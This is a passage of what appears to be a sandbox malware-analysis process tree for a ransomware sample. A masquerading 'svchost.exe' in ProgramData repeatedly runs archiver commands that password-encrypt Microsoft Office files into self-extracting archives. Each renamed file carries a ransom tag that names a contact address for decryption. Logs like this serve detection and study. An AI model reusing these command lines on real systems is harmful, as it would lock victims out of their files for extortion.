                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\EXCEL_WHATSNEW.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\EXCEL_WHATSNEW.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:2968
                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\LyncBasic_Eula.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\LyncBasic_Eula.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:5012
                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\LyncVDI_Eula.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\LyncVDI_Eula.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:5180
                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\officeinventoryagentfallback.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\officeinventoryagentfallback.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:3952
                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\officeinventoryagentlogon.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\officeinventoryagentlogon.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:4572
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\ONENOTE_WHATSNEW.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\ONENOTE_WHATSNEW.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:3512
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\PowerPointNaiveBayesCommandRanker.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\PowerPointNaiveBayesCommandRanker.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:5428
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\PPT_WHATSNEW.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\PPT_WHATSNEW.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:4960
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\PROTTPLN.DOC(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\PROTTPLN.DOC" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:1664
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\PROTTPLN.XLS(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\PROTTPLN.XLS" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:1432
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\PROTTPLV.DOC(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\PROTTPLV.DOC" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:5080
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\PROTTPLV.XLS(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\PROTTPLV.XLS" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1064
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\PSRCHKEY.DAT(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\PSRCHKEY.DAT" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2648
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\PSRCHLEX.DAT(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\PSRCHLEX.DAT" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5288
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\PSRCHLTS.DAT(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\PSRCHLTS.DAT" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2488
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\PSRCHPHN.DAT(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\PSRCHPHN.DAT" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5684
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\PSRCHSRN.DAT(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\PSRCHSRN.DAT" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2460
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\SkypeForBusinessBasic2019_eula.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\SkypeForBusinessBasic2019_eula.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1508
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\SkypeForBusinessVDI2019_eula.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\SkypeForBusinessVDI2019_eula.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5116
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\WacLangPack2019Eula.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\WacLangPack2019Eula.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5816
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\WacLangPackEula.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\WacLangPackEula.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4176
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\WordNaiveBayesCommandRanker.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\WordNaiveBayesCommandRanker.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4672
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\1033\WORD_WHATSNEW.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\1033\WORD_WHATSNEW.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4544
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\ADDINS\MSOSEC.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\ADDINS\MSOSEC.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5924
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\ADDINS\Power View Excel Add-in\BI-Report.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\ADDINS\Power View Excel Add-in\BI-Report.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4056
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\ADDINS\PowerPivot Excel Add-in\en\LocalizedStrings.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\ADDINS\PowerPivot Excel Add-in\en\LocalizedStrings.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5208
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\ADDINS\PowerPivot Excel Add-in\tracedefinition130.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\ADDINS\PowerPivot Excel Add-in\tracedefinition130.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3404
                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\AugLoop\third-party-notices.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\AugLoop\third-party-notices.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5452
                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\Configuration\card_expiration_terms_dict.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\Configuration\card_expiration_terms_dict.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2556
                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\Configuration\card_security_terms_dict.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\Configuration\card_security_terms_dict.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2912
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\Configuration\card_terms_dict.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\Configuration\card_terms_dict.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1716
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\Configuration\config.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\Configuration\config.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2632
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\Configuration\ssn_high_group_info.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\Configuration\ssn_high_group_info.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2780
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\EXCEL.VisualElementsManifest.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\EXCEL.VisualElementsManifest.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3532
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LivePersonaCard\images\default\linkedin_ghost_company.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LivePersonaCard\images\default\linkedin_ghost_company.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1020
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LivePersonaCard\images\default\linkedin_ghost_profile.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LivePersonaCard\images\default\linkedin_ghost_profile.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2784
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LivePersonaCard\images\default\linkedin_ghost_profile_large.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LivePersonaCard\images\default\linkedin_ghost_profile_large.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1448
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LivePersonaCard\images\default\linkedin_ghost_school.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LivePersonaCard\images\default\linkedin_ghost_school.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4816
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LivePersonaCard\images\default\linkedin_logo.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LivePersonaCard\images\default\linkedin_logo.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2840
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LivePersonaCard\images\default\linkedin_logo_large.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LivePersonaCard\images\default\linkedin_logo_large.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1396
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LivePersonaCard\images\default\linkedin_logo_small.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LivePersonaCard\images\default\linkedin_logo_small.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1068
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\LivePersonaCard\TPN.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\LivePersonaCard\TPN.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1556
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
